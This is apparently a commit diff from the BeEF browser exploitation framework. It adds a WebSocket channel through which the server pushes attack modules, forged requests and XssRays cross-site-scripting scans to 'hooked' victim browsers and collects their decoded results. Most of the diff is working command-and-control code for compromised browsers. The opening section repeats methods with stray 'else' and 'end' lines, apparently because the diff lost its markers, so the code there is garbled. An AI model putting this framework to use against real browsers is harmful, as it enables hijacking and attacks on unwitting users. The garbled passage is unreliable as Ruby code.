# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
else
MOUNTS[handler].new(data)
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
end
end
end
end

View File

@@ -0,0 +1,134 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Core
module Websocket
require 'singleton'
require 'json'
require 'base64'
require 'em-websocket'
class Websocket
include Singleton
include BeEF::Core::Handlers::Modules::Command
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
port = @@config.get("beef.http.websocket.port")
secure = @@config.get("beef.http.websocket.secure")
Thread.new {
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
begin
print_debug "New WebSocket channel open."
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
if (msg_hash["cookie"]!= nil)
print_debug("WebSocket - Browser says helo! WebSocket is running")
#insert new connection in activesocket
@@activeSocket["#{msg_hash["cookie"]}"] = ws
print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
elsif msg_hash["alive"] != nil
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
unless hooked_browser.nil?
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
#Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#@todo antisnatchor:
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
#Check if new XssRays scan need to be started
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
#print_debug("Received from WebSocket #{messageHash}")
execute(msg_hash)
end
}
rescue Exception => e
print_error "WebSocket error: #{e}"
end
end
}
}
end
#@note retrieve the right websocket channel given an hooked browser session
#@param [String] session the hooked browser session
def getsocket (session)
if (@@activeSocket[session] != nil)
true
else
false
end
end
#@note send a function to hooked and ws browser
#@param [String] fn the module to execute
#@param [String] session the hooked browser session
def send (fn, session)
@@activeSocket[session].send(fn)
end
BeEF::Core::Handlers::Commands
#call the handler for websocket cmd response
#@param [Hash] data contains the answer of a command
def execute (data)
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
command_results["data"].force_encoding('UTF-8')
hooked_browser = data["bh"]
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(hooked_browser)
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?
(print_error "command results are empty"; return) if command_results.empty?
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
if MOUNTS.has_key?(handler)
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
end
end
end
end
end

File diff suppressed because one or more lines are too long

View File

@@ -34,18 +34,45 @@ module BeEF
}
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
# Build the BeEFJS requester component
build_missing_beefjs_components 'beef.net.requester'
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body output
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.requester'
# Send the command to perform the requests to the hooked browser
add_to_body output
end
end
# Send the command to perform the requests to the hooked browser
def add_to_body(output)
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
end
#

View File

@@ -27,7 +27,7 @@ module BeEF
#
def start_scan(hb, body)
@body = body
config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
@@ -40,23 +40,52 @@ module BeEF
xs.update(:is_started => true)
# build the beefjs xssrays component
build_missing_beefjs_components 'beef.net.xssrays'
# the URI of the XssRays handler where rays should come back if the vulnerability is verified
beefurl = BeEF::Core::Server.instance.url
cross_domain = xs.cross_domain
timeout = xs.clean_timeout
debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs")
debug = config.get("beef.extension.xssrays.js_console_logs")
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//', "")
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
build_missing_beefjs_components 'beef.net.xssrays'
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].")
end
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
@body << %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
end
end
end
end

View File

@@ -22,4 +22,4 @@ beef:
clean_timeout: 3000
cross_domain: true
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
js_console_logs: false
js_console_logs: true

View File

@@ -31,7 +31,7 @@ class TS_BeefIntegrationTests
suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite")
suite << TC_CheckEnvironment.suite
suite << TC_DebugModules.suite
#suite << TC_DebugModules.suite
suite << TC_login.suite
return suite